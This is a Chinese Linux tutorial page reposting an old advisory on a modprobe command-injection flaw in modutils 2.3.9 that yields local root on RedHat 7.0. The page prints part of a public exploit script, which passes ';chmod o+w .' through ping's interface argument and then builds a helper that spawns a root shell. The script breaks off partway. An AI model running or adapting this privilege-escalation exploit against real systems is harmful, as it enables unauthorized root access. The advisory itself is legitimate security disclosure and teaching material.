歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux基礎 >> Linux教程 >> Linuxmodprobe執行任意命令漏洞(一)

Linuxmodprobe執行任意命令漏洞(一)

日期:2017/2/25 10:38:22   编辑:Linux教程
 受影響系統:

  GNU Linux modutils 2.3.9

  + S.u.S.E. Linux 7.0

  + S.u.S.E. Linux 6.4

  + RedHat Linux 7.0

  不受影響系統:

  GNU Linux modutils 2.3.11

  描述:

  絕大多數Linux系統都帶有Modutils,用於可加載內核模塊。其中modprobe用於加載與來自命令行的模塊名相匹配的模塊。Modprobe 2.3.9版(可能還包括前後臨近的一些版本)存在一個漏洞,可以用於本地獲取root權限。

  問題在於為了回顯用戶輸入的程序參數,modprobe調用popen()函數,popen()函數依賴/bin/sh解析命令行並執行"echo",如果用戶輸入帶有某些可利用的shell控制字符,就可能導致其它命令被執行。

  缺省安裝後modprobe本身並未setuid-to-root,但是可以間接通過kmod利用該漏洞。

  當通過request_module()調用請求加在一個模塊的時候,Kmod自動執行modprobe。

  RedHat Linux 7.0攜帶的ping程序具有這種特性。當命令行上指定設備不存在時,request_module()被調用,指定設備名作為參數傳遞進入內核。內核用這個參數執行modprobe。此時由於是root做popen()調用,所以很容易獲取本地root權限。

  測試方法:

  警 告

  以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

  Michal Zalewski 提供了一個RedHat 7.0下的exploit code:

  rh7-modprobe.sh

  --------------------------------------------------------------------------

  #!/bin/sh

  echo

  echo "RedHat 7.0 modutils exploit"

  echo "(c) 2000 Michal Zalewski "

  echo "Bug discovery: Sebastian Krahmer "

  echo

  echo "Do not have to work on older / non-RH systems. This bug has been"

  echo "introduced recently. Enjoy :)"

  echo

  echo "This exploit is really hackish, because slashes are not allowed in"

  echo "modprobe parameters, thus we have to play in modprobe's cwd (/)."

  echo

  PING=/bin/ping6

  test -u $PING || PING=/bin/ping

  if [ ! -u $PING ]; then

  echo "Sorry, no setuid ping."

  exit 0

  fi

  echo "Phase 1: making / world-writable..."

  $PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null

  sleep 1

  echo "Phase 2: compiling helper application in /..."

  cat >/x.c <<_eof_

  main() {

  setuid(0); seteuid(0);

  system("chmod 755 /;rm -f /x; rm -f /x.c");

  execl("/bin/bash","bash","-i",0);

  }

Copyright © Linux教程網 All Rights Reserved